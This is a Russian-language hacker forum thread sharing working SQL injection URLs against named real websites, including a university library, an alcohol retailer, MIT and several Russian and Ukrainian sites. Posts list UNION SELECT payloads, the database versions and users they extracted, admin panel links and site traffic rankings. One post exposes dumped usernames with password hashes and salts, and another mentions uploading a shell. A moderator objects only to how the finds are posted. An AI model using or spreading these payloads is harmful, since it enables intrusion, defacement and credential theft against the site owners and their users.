SQL Инъекции

SHOP

HTML:

http://www.locknlock.com.au/products_c.php?cate1=5&cate2=1&item_seqno=-219+UniOn+sEleCt+antidef+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,version(),user(),con_cat_ws(0x3a,seqno,adminid,passwd,status,grade),21,22,23,24,25,26,database()+from+admin_01t+LiMit+1,1

HTML:

http://www.locknlock.com.au/admin/

шелл льется за 0,00001 сек

З.Ы. По правилам нельзя выкладывать пасс/хэш. А я и не выкладывал =) Но все же поставил защиту

 

Семён Семёныч... нельзя такие скули выкладывать по правилам.. Школоло задефейсит..


И чтобы не быть голословным:


Толка ноль, но ради количества таблиц стоит посмотреть))

 

5.0.90-log:[email protected]:u7114 0

 

4 символа

 

сегодня решил поискать картона...
нашел пару бесполезных для такого дела скулей...
шлю вам)
админка прилагается)
P.S.: крутил только до версии, дальше думаю все понятно, т.к. mysql=>5

типо нашего avito.ru

туры по чернобылю

 

Флэш-игры

PR=3

 

Интересная какаято хрень.. вычитываются все базы хостинга..

 

Домен ничего так.
Версия базы 5
но шанс залить чтото похоже ничтожен.

Еще кое что:
Версия базы 4, админку не нашел..
Тиц 10

 

Code:

http://www.libraries.wvu.edu/databases/database.php?id=-361+UNION+SELECT+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

systems@localhost:5.0.77:databases

Google PR: 6

Code:

http://www.rosalcohol.ru/site.php?id=-28+union+select+1,2,3,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,5,6,7%20from%20users--&table=cHJpdl9vdHI=

[email protected]:4.0.27-log:rosalc_ria-arbitr_ru

Google PR: 3 ТИц: 130

 

Національна спілка кінематографістів України

PR=4
тИЦ=40
Alexa=3,016,707

скули в таком виде не выкладывать, след раз пост будет удален
//Konqi

 

http://www.sudarushka-shop.ru/catalog.html?item_id=-8+union+select+1,2,3--
____________
5я ветка

раскурить дальше несмог =)

 

sosedniymir.ru ТИЦ-170

Code:

sosedniymir.ru/profile.php?uid=-8329+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15+--+

Code:

5.0.90-log:[email protected]:u98228_cms

kovel.osp-ua.info PR-5 ТИЦ-60

Code:

kovel.osp-ua.info/index.php?news=-39917+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14+--+

Code:

4.1.22-standard-log:ospuai_ospuai@localhost:ospuai_inbaza

 

Aspasia Books - Finnish Books

PR=5

 

ТИЦ: 3600 Massachusetts institute of technology

Code:

http://web.mit.edu/press/component/mitexperts/?catid=-71+union+select+1,2,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,4,5,6,7,8,9,10,11,12,13--+

5.0.45:mit:[email protected]

42:alex:247dba455802592ff7969e8503638bfc:lYohx3kTMaTLgQLsf0GSoRac7V3nNY9J,
43atrick:d6ab53422ce35b24c2a26e123b53c263:7sJXJNQKoAW0Ouvp7ZoJxrsIxuyH1CFX,
44:Christine:ff7d97e39d70aef53af5f16b68e8d440:mxPvdI967y2KZUT28jzap4FwbDeKpIc0,

 

Я очень люблю постить бояни, но еще не знаю что могу получить бан за это..

 

Тиц 50

 

4я ветка

//еще одно оффтоп сообщение, и будешь в бане
Konqi

 

Всем "доброжелателям". Версия в шапке.

И еще:

PR=5
тИЦ=90
Alexa=443,842

 

тиЦ 140 Траф ~4K

Code:

http://8a.ru/clat.php?idcla=95&idqa=-1+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8--

8aru@localhost:8aru:5.0.45
Таблицы

Code:

http://8a.ru/clat.php?idcla=95&idqa=-1+union+select+1,group_concat(TABLE_NAME),3,4,5,6,7,8+from+INFORMATION_SCHEMA.TABLES--

Колонки

Code:

http://8a.ru/clat.php?idcla=95&idqa=-1+union+select+1,group_concat(COLUMN_NAME),3,4,5,6,7,8+from+INFORMATION_SCHEMA.COLUMNS--

Code:

http://8a.ru/clat.php?idcla=95&idqa=-1+union+select+1,concat_ws(0x3a,ac_ok,id_acc),3,4,5,6,7,8+from+Account--